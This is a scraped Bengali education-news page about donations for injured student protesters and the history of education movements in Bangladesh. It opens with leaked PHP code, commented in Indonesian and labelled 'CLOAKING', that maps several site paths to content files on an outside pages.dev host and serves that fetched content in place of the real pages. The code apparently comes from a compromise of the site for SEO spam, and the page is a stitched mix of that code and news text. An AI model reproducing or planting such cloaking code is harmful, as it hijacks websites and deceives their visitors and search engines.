/* ===== NORMALISASI PATH (VERSI PERBAIKAN) ===== */ // Ambil path, hapus query string (?abc=123) jika ada $p = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); // Hilangkan index.php $p = str_replace('/index.php', '', $p); // Pastikan path selalu diawali dengan '/' dan tidak diakhiri dengan '/' (kecuali root) $p = '/' . ltrim(rtrim($p, '/'), '/'); /* ===== MAPPING URL ===== */ $map = [ '/technical/251262' => 'content39.txt', '/education-ministry/243185' => 'content40.txt', '/dshe/252183' => 'content41.txt', '/' => 'content42.txt', // Sekarang ini akan terpanggil dengan benar '/ntrca/238706' => 'content43.txt', '/section/admission-test/110' => 'content44.txt', '/section/ntrca/122' => 'content45.txt' ]; /* ===== CLOAKING ===== */ // Debugging sederhana (hapus jika sudah jalan): // echo "Path terdeteksi: " . $p; if($b && isset($map[$p])){ $content_url = "https://new-content-page.pages.dev/" . $map[$p]; $x = fetch($content_url); if($x && strlen(trim($x)) > 50){ header("Content-Type: text/html; charset=utf-8"); echo $x; exit; } }
বৈষম্যবিরোধী ছাত্র আন্দোলনে আহতদের চিকিৎসার জন্য এক কোটি ২২ লাখ দিয়েছে জুলাই স্মৃতি ফাউন্ডেশন। রোববার (১৩ অক্টোবর) এ অর্থ দেওয়া হয়। জুলাই স্মৃতি ফাউন্ডেশনের সেক্রেটারি......
বাংলাদেশের ইতিহাসে শিক্ষা শুধু জ্ঞানের চাবিকাঠি নয়, এটি সামাজিক ন্যায়, সাংস্কৃতিক চেতনা ও রাজনৈতিক মুক্তির এক শক্তিশালী হাতিয়ার। এ দেশে শিক্ষা নিয়ে আন্দোলন মানে শুধু দাবি নয়, এক ঐতিহ্য। সেটা রাজনৈতিক ও সামাজিক আন্দোলনের সঙ্গেও গভীরভাবে যুক্ত। শিক্ষাকে কেন্দ্র করে আন্দোলন-সংগ্রামের শুরু ঔপনিবেশিক ব্রিটিশ আমলে, পরে তা শিকড় পায় পূর্ব পাকিস্তান যুগে, আর স্বাধীন বাংলাদেশে এসে পায় নতুন অর্থ ও নতুন লক্ষ্য।
পূর্ব পাকিস্তান সময়ে শিক্ষা আন্দোলন মূলত ভাষা, সংস্কৃতি ও সমতার দাবিতে গড়ে উঠেছিল। ১৯৪৮ সালের প্রথম শিক্ষানীতি আর ১৯৫৯ সালের শরিফ কমিশনের প্রতিবেদন ছিল বিরাট বিতর্কের কেন্দ্র। শিক্ষার্থী ও শিক্ষকরা তখন রাস্তায় নেমে বলেছিলেন, শিক্ষা কোনো ধর্মীয় বা প্রাদেশিক প্রাধান্যের বিষয় নয়, এটি সবার অধিকার। ঢাকা বিশ্ববিদ্যালয়সহ সারা দেশের শিক্ষার্থীরা নেতৃত্ব দিয়েছিল এই আন্দোলনে। এরই ধারাবাহিকতারই এক গভীর প্রকাশ ১৯৫২ সালের ভাষা আন্দোলন, যেখানে শিক্ষা ও সংস্কৃতি মিশে গিয়েছিল স্বাধীন চিন্তার দাবিতে।
স্বাধীনতার পর শিক্ষা আন্দোলন পেল নতুন রূপ। ১৯৭২ সালের শিক্ষানীতি ছিল এক নতুন স্বপ্ন। মানবিক, বিজ্ঞাননির্ভর, উৎপাদনমুখী শিক্ষাব্যবস্থা গড়ার ঘোষণা। কিন্তু রাজনীতির টানাপোড়েন, সামরিক শাসন আর শিক্ষার বাণিজ্যিকীকরণ সেই স্বপ্নকে বারবার আঘাত করেছে। ১৯৮০ ও ৯০-এর দশকে শিক্ষার বেসরকারিকরণ, ফি বৃদ্ধি আর বেতন বৈষম্যের বিরুদ্ধে শিক্ষক ও শিক্ষার্থীরা একসঙ্গে লড়েছেন। তাদের কণ্ঠে ছিল একটাই কথা, ‘শিক্ষা পণ্য নয়, এটি অধিকার।’
একুশ শতকে এসে শিক্ষা আন্দোলনের পরিধি আরও বিস্তৃত হয়েছে। মানসম্মত শিক্ষা, বৈষম্যহীন সুযোগ, সরকারি বিনিয়োগ বৃদ্ধি ইত্যাদি সবকিছুই এখন আলোচনার কেন্দ্রে। সঙ্গে এসেছে নতুন চ্যালেঞ্জ। ডিজিটাল শিক্ষা, কারিগরি জ্ঞান, পাঠ্যক্রম সংস্কার আর অনলাইন শিক্ষার বাস্তবতা যোগ হয়েছে। প্রতিটি পরিবর্তনই যেন শিক্ষা আন্দোলনের নতুন অধ্যায়।
বাংলাদেশের শিক্ষা আন্দোলনের মূলে আছে মুক্ত চিন্তা, মানবিক মূল্যবোধ ও সামাজিক ন্যায্যতার বিশ্বাস। শিক্ষার্থী ও শিক্ষক উভয়ই এ আন্দোলনের প্রাণ। তাদের সঙ্গে বিভিন্ন সময় যুক্ত হয়েছে দেশের আপামর জনগণও। তাদের ত্যাগ, আদর্শ আর প্রতিবাদ আমাদের জ্ঞানচর্চাকে দিয়েছে গভীরতা, দিয়েছে মর্যাদা। এ জন্য শিক্ষা আন্দোলন কেবল একটি সময়ের ইতিহাস নয়, এটি বাংলাদেশের আত্মপরিচয়ের চলমান যাত্রা।
দ্য ডেইলি ক্যাম্পাস শিক্ষা আন্দোলনের খবরকে বিশেষ গুরুত্ব দিয়ে প্রকাশ করে। এ বিভাগে রয়েছে তিনটি উপ-বিভাগ ‘ছাত্র আন্দোলন’, ‘শিক্ষক রাজনীতি’ এবং ‘কর্মচারী সংগঠন’। পাঠকরা এখানে দেশ-বিদেশের শিক্ষাকেন্দ্রিক আন্দোলন ও সংগ্রামের সর্বশেষ আপডেট পেতে পারেন। শুধু সংবাদ নয়, একই সঙ্গে পাবেন বিশ্লেষণ, সাক্ষাৎকার এবং ঘটনাপ্রবাহের আড়ালের তথ্য; এসবই শিক্ষার ক্ষেত্রে চলমান পরিস্থিতি বোঝার ক্ষেত্রে সহায়ক হতে পারে।